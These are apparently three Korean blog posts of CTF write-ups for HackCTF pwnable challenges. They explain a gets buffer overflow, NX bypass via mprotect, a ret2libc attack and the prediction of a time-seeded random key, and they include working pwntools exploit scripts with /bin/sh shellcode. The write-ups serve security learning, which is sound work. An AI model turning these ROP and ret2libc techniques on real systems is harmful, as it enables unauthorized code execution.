file 명령어로 문제 바이너리를 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

또한 statically linked 형식의 바이너리임을 확인할 수 있다. 따라서 함수 목록을 보면 매우 많은 함수들이 있는것도 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 보면 nx가 적용되어 있는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

main 함수에서 look_at_me 라는 함수를 실행하고 있다. IDA 헥스레이로 main 함수와 look_at_me  함수를 확인하면 다음과 같다.

main 함수에서 look_at_me() 함수를 호출하고, look_at_me() 함수의 gets 함수에서 bof 취약점이 발생한다. 

nx 보호기법이 적용되어 있어서 쉘 코드 실행 권한도 없고, system 함수를 호출하는 부분도 없었다.

그러나 다음과 같이 mprotect 함수가 있는것을 확인할 수 있었다.

mprotect 함수는 메모리에 대한 접근을 제어하는 함수로 인자로 접근제어할 주소, 주소 기준으로 제어할 길이, 접근 제어 권한 3개의 인자를 받는다. mprotect 함수를 통해 접근제어되어 있는 메모리에도 권한을 부여할 수 있어서 nx 보호기법이 우회가 가능하다.

 

따라서 문제를 해결하기 위해  ROP기법을  이용하여 gets() 함수를 호출하여 .bss 영역에 쉘코드를 넣고 mprotect() 함수를 호출하여 .bss 영역에 실행권한을 주면 된다.

작성한 익스코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")

bss = e.bss()
bss000 = 0x80ea000
pr = 0x080bb0b8
pppr = 0x080bacfe
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pay = "A" * 28
pay += p32(gets_addr)
pay += p32(pr)
pay += p32(bss)

pay += p32(mprotect_addr)
pay += p32(pppr)
pay += p32(bss000)
pay += p32(10000)
pay += p32(7)
pay += p32(bss)

p.sendline(pay)
p.sendline(shell)
p.interactive()

mprotect 첫번째 인자로 000 으로 끝나는 주소를 사용하는 것은 mprotect 함수의 첫번째 인자 주소는 0x1000의 배수여야 하기 때문이다.

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법들을 확인하면 다음과 같다.

바이너리를 실행시키면 다음과 같이 패스코드를 입력하라고 한다.

 

아이다 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

passcode를 입력 받고, 입력받은 값을 check_passcode 라는 함수에 넣어 함수의 리턴값과 hashcode값과 같으면 core 함수를 실행한다.

먼저 check_passcode 함수를 확인하면 다음과 같다.

check_passcode 함수는 매개변수 a1의 주소에 있는 값을 4바이트씩 5번 반복하면서 v2에 누적하고 v2를 반환한다. 

hashcode의 값은 다음과 같다.

따라서 main 함수의 조건문을 만족시키려면 0xc0d9b0a7 / 5 를 하면 0x2691f021가 나오고 나머지로 0x2가 나오기 때문에 0x2691f021를 4번 입력하고, 5번째는 0x2691f023을 입력하면 첫번째 조건문을 만족시킬 수 있다.

 

core 함수를 확인하면 다음과 같다.

dlsym()함수로 printf의 주소를 가져와 출력하고 read 함수를 리턴한다. buf의 크기는 0x3e 이지만 0x64만큼 읽기 때문에 bof가 발생하며 printf 주소를 활용하여 rtl 공격을 시도할 수 있다.

 

서버에서 익스를 성공하려면 서버의 libc 파일을 참조해야 하기 때문에 문제에서 제공해준 서버의 libc.so.6 파일을 이용하여 libc base 주소를 구하고, system 함수와 "/bin/sh"의 offset을 구하여 rtl 공격을 통해 쉘을 딸 수 있다.

payload는 0x3e + 4 만큼 채우고 system()함수의 주소를 넣고 4바이트 채우고 인자로 들어갈 "/bin/sh"문자열의 주소를 넣으면 된다. 따라서 다음과 같이 익스코드를 작성하여 실행하면 플래그를 얻을 수 있다.

from pwn import *

# p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')

printf_offset = libc.symbols['printf']
sys_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]

pay = p32(0x2691f021) * 4
pay += p32(0x2691f023)

p.sendline(pay)

p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)

libcbase = printf_addr - printf_offset
sys_addr = libcbase + sys_offset
binsh_addr = libcbase + binsh_offset

pay = ''
pay += 'A' * 66
pay += p32(sys_addr)
pay += 'BBBB'
pay += p32(binsh_addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24

file 명령으로 문제 바이너리를 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

checksec 명령으로 확인해보면 nx 보호기법이 적용된 것을 확인할 수 있다.

random 바이너리를 실행해보면 다음과 같다.

ida 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

v5에 값을 입력받고, v5의 값과 v4의 값이 같다면 system() 함수로 flag를 출력한다. v4의 값은 현재 시간을 기준으로 난수를 저장한다.

따라서 서버시간과 동일하게 난수를 출력하는 코드를 짜서 실행하면 될 것 같다.

따라서 익스 코드는 다음과 같다.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main()
{
	int t = time(0);
	srand(t);
	int r = rand();
	printf("%d", r);
	return 0;
}

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16

+ Recent posts